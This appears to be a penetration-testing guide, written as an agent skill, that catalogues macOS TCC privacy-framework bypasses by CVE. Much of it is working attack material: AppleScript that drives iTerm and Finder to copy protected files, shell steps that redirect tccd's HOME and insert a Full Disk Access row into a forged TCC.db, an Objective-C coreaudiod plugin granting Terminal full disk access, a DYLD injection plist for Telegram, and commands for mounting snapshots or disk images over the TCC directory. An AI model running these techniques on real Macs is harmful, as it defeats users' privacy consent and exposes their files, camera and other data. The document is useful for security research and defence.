Macos Tcc Bypass Research

macOS TCC Bypass Research

A comprehensive guide to macOS Transparency, Consent, and Control (TCC) bypass techniques for security research and authorized penetration testing.

Overview

TCC is macOS's privacy framework that controls application access to sensitive resources (camera, microphone, files, etc.). This skill covers known bypass techniques organized by attack vector.

TCC Database Location

$HOME/Library/Application Support/com.apple.TCC/TCC.db

Bypass Categories

1. Write Bypass (Not Actually a Bypass)

TCC doesn't protect from writing - only reading. If Terminal can't read Desktop, it can still write to it:

ls Desktop  # Operation not permitted
echo asd > Desktop/lalala  # Works
cat Desktop/lalala  # Works (extended attribute com.apple.macl added)

2. TCC ClickJacking

Overlay windows over TCC prompts to trick users into granting permissions.

Reference: TCC-ClickJacking

3. TCC Request by Arbitrary Name

Create apps with legitimate names (Finder, Chrome) in Info.plist to request TCC access. Users believe the legitimate app is requesting access.

Advanced: Remove legit app from Dock, replace with fake one using same icon.

4. SSH Bypass

SSH historically had Full Disk Access by default. To disable:

• List SSH in TCC but disable it (removing doesn't remove privileges)
• Modern macOS requires Full Disk Access to enable SSH

Reference: XCSSET Malware TCC Bypass

5. Handle Extensions - CVE-2022-26767

The com.apple.macl attribute grants apps read permissions when files are opened via drag&drop or double-click.

Attack: Register malicious app to handle all extensions, use Launch Services to open files.

6. iCloud Access

Entitlement com.apple.private.icloud-account-access allows communication with com.apple.iCloudHelper XPC service for iCloud tokens.

Affected Apps: iMovie, GarageBand

Reference: OBTS v5.0 Talk

7. kTCCServiceAppleEvents / Automation

Apps with Automation permission can control other apps and abuse their permissions.

Over iTerm

tell application "iTerm"
    activate
    tell current window
        create tab with default profile
    end tell
    tell current session of current window
        write text "cp ~/Desktop/private.txt /tmp"
    end tell
end tell

osascript iterm.script

Over Finder

set a_user to do shell script "logname"
tell application "Finder"
    set desc to path to home folder
    set copyFile to duplicate (item "private.txt" of folder "Desktop" of folder a_user of item "Users" of disk of home) to folder desc with replacing
    set t to paragraphs of (do shell script "cat " & POSIX path of (copyFile as alias)) as text
end tell
do shell script "rm " & POSIX path of (copyFile as alias)

CVE-Based Bypasses

CVE-2020-9934 - TCC Daemon HOME Variable

The tccd daemon uses $HOME to access TCC database. Control $HOME via launchctl to redirect to controlled directory.

# Reset database
tccutil reset All

# Create fake TCC directory
mkdir -p "/tmp/tccbypass/Library/Application Support/com.apple.TCC"
cd "/tmp/tccbypass/Library/Application Support/com.apple.TCC/"

# Set launchd HOME variable
launchctl setenv HOME /tmp/tccbypass

# Restart TCC daemon
launchctl stop com.apple.tccd && launchctl start com.apple.tccd

# Modify TCC database
sqlite3 TCC.db .dump
sqlite3 TCC.db "INSERT INTO access VALUES('kTCCServiceSystemPolicyDocumentsFolder', 'com.apple.Terminal', 0, 1, 1, X'fade0c000000003000000001000000060000000200000012636f6d2e6170706c652e5465726d696e616c000000000003', NULL, NULL, 'UNUSED', NULL, NULL, 1333333333333337);"

# Access without prompt
ls ~/Documents

CVE-2021-30761 - Notes

Notes has TCC access but creates notes in non-protected locations. Copy protected files into notes to access them.

CVE-2021-30782 - Translocation

/usr/libexec/lsd with libsecurity_translocate had com.apple.private.nullfs_allow and kTCCServiceSystemPolicyAllFiles.

Attack: Add quarantine attribute to "Library", call com.apple.security.translocation XPC service to map Library to $TMPDIR/AppTranslocation/d/d/Library.

CVE-2023-38571 - Music & TV Race Condition

Music imports files from ~/Music/Music/Media.localized/Automatically Add to Music.localized/ using rename(a, b) which is vulnerable to race conditions.

Attack: Place fake TCC.db in the folder, race the rename operation.

CVE-2023-32422 - SQLITE_SQLLOG_DIR

Setting SQLITE_SQLLOG_DIR="path/folder" causes any open database to be copied to that path.

Attack: Use symlink in filename to overwrite TCC.db when opened by FDA process.

Reference: SQLol Writeup

CVE-2023-32407 - MTL_DUMP_PIPELINES_TO_JSON_FILE

Metal framework environment variable triggers race condition in rename(old, new).

# Set environment variable
MTL_DUMP_PIPELINES_TO_JSON_FILE="/Users/hacker/tmp/TCC.db"

# Create symlink
ln -s "/Users/hacker/Library/Application Support/com.apple.TCC/" /Users/hacker/ourlink

# Trigger with Music app
launchctl setenv MTL_DUMP_PIPELINES_TO_JSON_FILE /Users/hacker/tmp/TCC.db

Reference: Lateralus Writeup

CVE-2020-27937 - Directory Utility

/System/Library/CoreServices/Applications/Directory Utility.app had kTCCServiceSystemPolicySysAdminFiles entitlement, loaded .daplug plugins without hardened runtime.

Attack: Change NFSHomeDirectory to take over user's TCC database.

Reference: Original Report

CVE-2020-29621 - Coreaudiod

/usr/sbin/coreaudiod had com.apple.security.cs.disable-library-validation and com.apple.private.tcc.manager.

Attack: Load plugin from /Library/Audio/Plug-Ins/HAL.

#import <Foundation/Foundation.h>
#import <Security/Security.h>

extern void TCCAccessSetForBundleIdAndCodeRequirement(CFStringRef TCCAccessCheckType, CFStringRef bundleID, CFDataRef requirement, CFBooleanRef giveAccess);

void add_tcc_entry() {
    CFStringRef TCCAccessCheckType = CFSTR("kTCCServiceSystemPolicyAllFiles");
    CFStringRef bundleID = CFSTR("com.apple.Terminal");
    CFStringRef pureReq = CFSTR("identifier \"com.apple.Terminal\" and anchor apple");
    SecRequirementRef requirement = NULL;
    SecRequirementCreateWithString(pureReq, kSecCSDefaultFlags, &requirement);
    CFDataRef requirementData = NULL;
    SecRequirementCopyData(requirement, kSecCSDefaultFlags, &requirementData);
    TCCAccessSetForBundleIdAndCodeRequirement(TCCAccessCheckType, bundleID, requirementData, kCFBooleanTrue);
}

__attribute__((constructor)) static void constructor(int argc, const char **argv) {
    add_tcc_entry();
    NSLog(@"[+] Exploitation finished...");
    exit(0);
}

Reference: Original Report

CVE-2023-26818 - Telegram

Telegram had com.apple.security.cs.allow-dyld-environment-variables and com.apple.security.cs.disable-library-validation.

Attack: Use launchctl with custom plist to inject library.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
    <key>Label</key>
    <string>com.telegram.launcher</string>
    <key>RunAtLoad</key>
    <true/>
    <key>EnvironmentVariables</key>
    <dict>
        <key>DYLD_INSERT_LIBRARIES</key>
        <string>/tmp/telegram.dylib</string>
    </dict>
    <key>ProgramArguments</key>
    <array>
        <string>/Applications/Telegram.app/Contents/MacOS/Telegram</string>
    </array>
</dict>
</plist>

launchctl load com.telegram.launcher.plist

Reference: CVE-2023-26818 Writeup

Process Injection Techniques

Device Abstraction Layer (DAL) Plug-Ins

Apps with kTCCServiceCamera load plugins from /Library/CoreMediaIO/Plug-Ins/DAL (not SIP restricted).

Attack: Store library with constructor in this location.

Firefox

Firefox had com.apple.security.cs.disable-library-validation and com.apple.security.cs.allow-dyld-environment-variables.

Reference: How to Rob a Firefox

CVE-2020-10006

/system/Library/Filesystems/acfs.fs/Contents/bin/xsanctl had com.apple.private.tcc.allow and com.apple.security.get-task-allow.

Mount-Based Bypasses

CVE-2020-9771 - mount_apfs

Any user can create and mount Time Machine snapshots with Full Disk Access.

# Create snapshot
tmutil localsnapshot

# List snapshots
tmutil listlocalsnapshots /

# Mount snapshot
mkdir /tmp/snap
/sbin/mount_apfs -o noowners -s com.apple.TimeMachine.2023-05-29-001751.local /System/Volumes/Data /tmp/snap

# Access files
ls /tmp/snap/Users/admin_user

Reference: CVE-2020-9771 Writeup

CVE-2021-1784 & CVE-2021-30808 - Mount Over TCC

Mount DMG over TCC directory to replace database.

# Mount over TCC directory
hdiutil attach -owners off -mountpoint Library/Application\ Support/com.apple.TCC test.dmg

# Mount over ~/Library
hdiutil attach -readonly -owners off -mountpoint ~/Library /tmp/tmp.dmg

Reference: CVE-2021-30808 Writeup

CVE-2024-40855 - diskarbitrationd

Abused diskarbitrationd to bypass security checks in DADiskMountWithArgumentsCommon.

Attack: Direct call to diskarbitrationd allows ../ in paths and symlinks.

Reference: Kandji Blog

asr

/usr/sbin/asr can copy and mount entire disk, bypassing TCC.

Location Services

Location TCC database at /var/db/locationd/clients.plist wasn't protected from DMG mounting.

Terminal Scripts

.terminal scripts can be invoked with Full Disk Access:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
    <key>CommandString</key>
    <string>cp ~/Desktop/private.txt /tmp/;</string>
    <key>ProfileCurrentVersion</key>
    <real>2.0600000000000001</real>
    <key>RunCommandAsShell</key>
    <false/>
    <key>name</key>
    <string>exploit</string>
    <key>type</key>
    <string>Window Settings</string>
</dict>
</plist>

NSTask *task = [[NSTask alloc] init];
NSString *exploit_location = @"/tmp/tcc.terminal";
task.launchPath = @"/usr/bin/open";
task.arguments = @[@"-a", @"/System/Applications/Utilities/Terminal.app", exploit_location];
[task launch];

NFSHomeDirectory Bypass

TCC uses $HOME from NFSHomeDirectory attribute. If you can modify this (requires kTCCServiceSystemPolicySysAdminFiles), you can weaponize it.

CVE-2021-30970 - Powerdir

Method 1: Use dsexport/dsimport to modify user's HOME folder.

Method 2: Use /usr/libexec/configd with com.apple.private.tcc.allow and kTCCServiceSystemPolicySysAdminFiles.

Reference: Microsoft Security Blog

Apple Remote Desktop

As root, enable ARD service - ARD agent gets Full Disk Access, can be abused to copy new TCC database.

References

• CVE-2020-9934 Bypass
• SentinelOne TCC Bypass Lab
• 20+ Ways to Bypass macOS Privacy
• Knockout Win Against TCC

Usage Guidelines

1. Authorization Required: Only use these techniques on systems you own or have explicit written authorization to test.
2. Documentation: Document all findings and remediation recommendations.
3. Testing Environment: Prefer isolated test environments over production systems.
4. Legal Compliance: Ensure compliance with applicable laws and regulations.
5. Disclosure: Follow responsible disclosure practices for vulnerabilities found.